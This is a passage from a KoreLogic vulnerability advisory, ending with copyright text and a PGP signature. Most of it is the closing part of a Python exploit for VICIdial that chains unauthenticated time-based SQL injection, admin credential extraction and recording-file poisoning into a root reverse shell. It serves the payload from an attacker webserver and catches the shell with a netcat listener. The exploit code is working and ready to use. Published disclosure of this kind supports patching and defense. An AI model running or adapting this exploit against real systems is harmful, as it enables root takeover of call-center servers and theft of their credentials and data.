http_response += f"Content-Length: {len(exploit_script)}\r\n\r\n"
|
|
http_response += exploit_script
|
|
client.sendall(http_response.encode())
|
|
client.close()
|
|
|
|
# starts a netcat process to catch the incoming reverse shell
|
|
def netcat_listener(self):
|
|
os.system(f'nc -nlvs {self.REVERSE_SHELL_HOST} -p {self.REVERSE_SHELL_PORT}')
|
|
|
|
# binds to provided addresses and handles incoming connections
|
|
def prepare_listeners(self):
|
|
webserver = threading.Thread(target=self.payload_webserver)
|
|
netcat = threading.Thread(target=self.netcat_listener)
|
|
print('[~] Listening for incoming connections...')
|
|
netcat.start()
|
|
webserver.start()
|
|
|
|
|
|
# establish a reverse shell as root from the vicidial instance
|
|
def shell(self):
|
|
session = self.build_requests_session()
|
|
is_vulnerable = self.is_vulnerable(session)
|
|
if is_vulnerable:
|
|
print('[+] Target appears vulnerable to time-based SQL injection')
|
|
else:
|
|
print('[-] Failed to perform time-based SQL injection')
|
|
return
|
|
|
|
username, password = self.extract_admin_credentials(session)
|
|
self.poison_recording_files(session, username, password)
|
|
|
|
# prepare exploit listeners if configured
|
|
if self.BIND: self.prepare_listeners()
|
|
|
|
if __name__ == '__main__':
|
|
argparser = argparse.ArgumentParser(description='Exploit for CVE-2024-XXXXX: Unauthenticated SQLi to RCE as root')
|
|
required = argparser.add_argument_group('Required Arguments')
|
|
optional = argparser.add_argument_group('Optional Arguments')
|
|
required.add_argument('-rh', '--rhost', required=True, help='Vicidial Server IP address')
|
|
required.add_argument('-rp', '--rport', required=True, help='Vicidial Server port number')
|
|
required.add_argument('-wh', '--whost', required=True, help='Malicious webserver IP address')
|
|
required.add_argument('-wp', '--wport', required=True, help='Malicious webserver port number')
|
|
required.add_argument('-lh', '--lhost', required=False, help='Reverse shell listener IP address')
|
|
required.add_argument('-lp', '--lport', required=False, help='Reverse shell listener port number')
|
|
optional.add_argument('-b', '--bind', required=False, help='Bind to [lhost:lport] and [whost:wport] and handle connections automatically', action='store_true', default=False)
|
|
optional.add_argument('-p', '--proxy', required=False, help='HTTP[S] proxy to use for outbound requests', default=None)
|
|
arguments = argparser.parse_args()
|
|
|
|
exploit = Exploit(
|
|
rhost = arguments.rhost,
|
|
rport = arguments.rport,
|
|
whost = arguments.whost,
|
|
wport = arguments.wport,
|
|
lhost = arguments.lhost,
|
|
lport = arguments.lport,
|
|
bind = arguments.bind,
|
|
proxy = arguments.proxy
|
|
)
|
|
exploit.shell()
|
|
|
|
|
|
The contents of this advisory are copyright(c) 2024
|
|
KoreLogic, Inc. and are licensed under a Creative Commons
|
|
Attribution Share-Alike 4.0 (United States) License:
|
|
http://creativecommons.org/licenses/by-sa/4.0/
|
|
|
|
KoreLogic, Inc. is a founder-owned and operated company with a
|
|
proven track record of providing security services to entities
|
|
ranging from Fortune 500 to small and mid-sized companies. We
|
|
are a highly skilled team of senior security consultants doing
|
|
by-hand security assessments for the most important networks in
|
|
the U.S. and around the world. We are also developers of various
|
|
tools and resources aimed at helping the security community.
|
|
https://www.korelogic.com/about-korelogic.html
|
|
|
|
Our public vulnerability disclosure policy is available at:
|
|
https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy
|
|
-----BEGIN PGP SIGNATURE-----
|
|
|
|
iQJOBAEBCAA4FiEEB12WYZwbVwYTJ/b2DKLsCTlWkekFAmbgmb8aHGRpc2Nsb3N1
|
|
cmVzQGtvcmVsb2dpYy5jb20ACgkQDKLsCTlWkel6bQ/8DXRaVDMQUEv6YilGkiJC
|
|
+sar3UxTgMlvkt8uLH/3qXLAf1KhLTxZ2GWQdpvQ7HDqauHqQNglyHgCQyj678AJ
|
|
Hcg560KGfplziyPa6du1Av42eSuK2QM+7M2UOg2Bh3OhT6sPUZyTLqRCQ6RU7Mxa
|
|
UvqkamWscehk6BvIwGvStNLT0AxYtSh6fKnndIcAlgfqQWSkQv5bDpEU8gOu1qkO
|
|
MLIkUCXVGohlyyr8IcJlA2HF5yd+CHB0+lxr/UHu0UOJAPPDjmBkuuivCGznK8US
|
|
GmWrAwP8ICYdKxwEJec8suHocHeCMbFicce5X4frCDXPV4jGWksZDNVdrUdZm8wJ
|
|
mo3CrsRE1S7RjmCRVPHZXxDGZrv8HDXC2IQXMLTIMDe0ZNHzmyDC03XEqQRF5YUI
|
|
YWp+KbJ8MUhyUxjqO7vmRoA65x5Ckjy2u+R3Mzu8byuLSRvCXWsyGa/CSemUu/bj
|
|
eBLwiN1/3CgKmeuHKNKeJghzzm3nbQt6XrrOEW6dGYw1EZd+OeD6VIZWf+/bWWuG
|
|
awZ/uikI3RG5Lb3XGiu5oWAXiTyuNg3yjCS/47QczROyfnQPXrBcPsl2ksrSlnt6
|
|
80R/zYUZOj9uebMDQ+PGl0qgh1LL7YXI/ZOv1H8AObQAHIvihLzb2312r1i+b3e/
|
|
j+B0eX1DflHH1z4Co/NYtzw=
|
|
=v44I
|
|
-----END PGP SIGNATURE-----
|